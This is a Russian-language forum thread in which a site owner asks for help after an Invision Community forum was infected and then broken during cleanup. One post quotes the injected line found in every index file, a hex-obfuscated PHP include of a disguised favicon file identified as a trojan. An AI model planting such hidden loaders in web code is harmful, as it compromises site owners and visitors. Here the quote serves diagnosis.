Karagor

переношу таблицы в чистый форум

перенеc core_members, forums_

удалось зайти в админку, но список пользователей не показывает нормально, как и список форумов... 

порядок действий не ясен вобщем

Так получилось, что я снес все файлы - только база осталась, я же писал.

Так что если вирус не мог приползти из базы, то фалов нет.

а в какой таблице хранятся разделы форума? никак не пойму

Кстати на вирусы таки сервер проверил - угроз не обнаружено

Логически это понятно, а вот практически не очень

Например в таблице core_members в чистой базе 93 поля, а в рабочей 97

и хрен его знает почему... 

Антивирус на vps какой-то странный, что-то он там то ли делал, то ли нет...

Вобщем в сухом остатке у меня есть база из которой форум виден без дизайна.

Сам починить не могу - знаний и понимания не хватает. 

Может кто-то помочь? 

запустил проверку... 

с тестовой базой теперь тоже не работает... 

индексы-то теперь чистые - только дизайн форум потерял

я в трешке как-то еще разбирался - а тут как баран покачто

так с новой базой все работает, а со старой нет

по логике в базе самой есть какие-то пути и они не совпадают

база конвертированная из трешки

firstvds и да vps

Короче кривыми руками снес на сервере папку с форумом... , что-то тупею с годами... (((

Пытаюсь поднять заново - ставлю чистый новый с тестовой базой, подменяю базу - и теряю полностью стиль.

Можно зайти на форум посмотреть что там видно... как это лечить-то?

Стоял 3.4 сначала - началось еще на нем, думал все вычистил.

Как хрень эту выковыривать-то... Есть у кого-нибудь опыт?

дкодировал, инклюда ведет 

@include "/var/www/karagor/data/www/sport-horse.pro/uploads/gallery/album_337/favicon_1da2f8.ico";

и выяснилось, что это троян PHP/Kryptik.BC

В какой-то момент перестала вызываться страница "непрочитанный контент".

Полез пытаться разобраться и первое на что наткнулся это добавка во всех индексах:

<?php
/*acedb*/

@include "\x2fvar\x2fwww\x2fkar\x61gor\x2fdat\x61/ww\x77/sp\x6frt-\x68ors\x65.pr\x6f/up\x6coad\x73/ga\x6cler\x79/al\x62um_\x3337/\x66avi\x63on_\x31da2\x668.i\x63o";

/*acedb*/
/**
 * @brief		Public bootstrap
 * @author		<a href='https://www.invisioncommunity.com'>Invision Power Services, Inc.</a>
 * @copyright	(c) Invision Power Services, Inc.
 * @license		https://www.invisioncommunity.com/legal/standards/
 * @package		Invision Community
 * @since		18 Feb 2013
 */
$_SERVER['SCRIPT_FILENAME']	= __FILE__;
require_once 'init.php';
\IPS\Dispatcher\Front::i()->run();

Что это такое?